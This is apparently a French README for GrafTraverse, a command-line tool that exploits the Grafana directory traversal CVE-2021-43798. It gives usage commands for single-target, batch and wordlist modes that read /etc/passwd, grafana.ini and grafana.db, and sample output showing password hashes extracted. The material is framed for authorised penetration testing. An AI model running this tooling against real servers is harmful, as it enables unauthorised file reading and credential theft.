GrafTraverse - CVE-2021-43798 MiNi Cadre d'Exploitation

Outil d'automatisation en ligne de commande pour les tests de sécurité autorisés du Directory Traversal Grafana (CVE-2021-43798).

Présentation

CVE-2021-43798 est une vulnérabilité de traversée de répertoire non authentifiée dans Grafana 8.x qui permet aux attaquants de lire des fichiers arbitraires sur le système de fichiers sous-jacent via le point de terminaison /public/plugins/. La cause racine est une mauvaise sanitisation des chemins sur les requêtes d'actifs de plugins, permettant aux séquences ../ de s'échapper du répertoire prévu.

GrafTraverse est une réécriture complète de la preuve de concept originale. Il corrige des bugs critiques de gestion des requêtes, ajoute le scan batch multi-threadé, la découverte automatique de plugins, l'extraction de credentials et le reporting structuré — en faisant un outil de qualité production pour les red teams et les testeurs de pénétration.

Fonctionnalités

Installation

# Clonez le dépôt
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse

# Assurez-vous que requests est disponible (il est fourni avec Kali)
pip3 install requests

# Rendez-le exécutable
chmod +x GrafTraverse.py

Utilisation

GrafTraverse utilise une CLI basée sur des sous-commandes. Toutes les commandes supportent --help.

1. Cible unique interactive

Lancer le menu interactif contre un hôte :

python3 GrafTraverse.py single -u http://IP:PORT

============================================================
 INTERACTIVE MODE
============================================================
 1. /etc/passwd
 2. grafana.ini
 3. grafana.db
 4. Custom path
 5. Full automated loot
 6. Scan plugins
 7. Exit
============================================================

2. Scan de plugins

Identifier rapidement quel point de terminaison de plugin est vulnérable sans exploitation :

python3 GrafTraverse.py scan -u http://target:PORT

3. Scan batch

Charger les cibles depuis un fichier et les traiter simultanément :

python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv

Format targets.txt :

http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Les lignes commençant par # sont ignorées

4. Énumération via wordlist

Fournir une liste de fichiers personnalisée pour une traversée approfondie :

python3 GrafTraverse.py single -u http://target:3000   --wordlist sensitive_files.txt   --output-dir ./loot   --json log.json

5. Proxy et en-têtes personnalisés

Acheminer via Burp Suite et ajouter des en-têtes personnalisés :

python3 GrafTraverse.py single -u http://target:3000   --proxy http://127.0.0.1:8080   -H "X-Forwarded-For: 127.0.0.1"   -H "Authorization: Bearer eyJ0..."

Référence des commandes

single

batch

scan

Exemple de sortie

Récupération de fichiers réussie

[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)

------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------

[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd

Extraction de hash de la base Grafana

[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
    admin:PBKDF2$sha256$10000$...base64...
    editor:PBKDF2$sha256$10000$...base64...
    viewer:PBKDF2$sha256$10000$...base64...

Fichiers cibles (Butin automatisé)

La séquence de butin intégrée tente de récupérer les fichiers suivants dans l'ordre :

Versions affectées

• Grafana 8.0.0 à 8.3.0
• Corrigé dans 8.3.1 et 7.5.12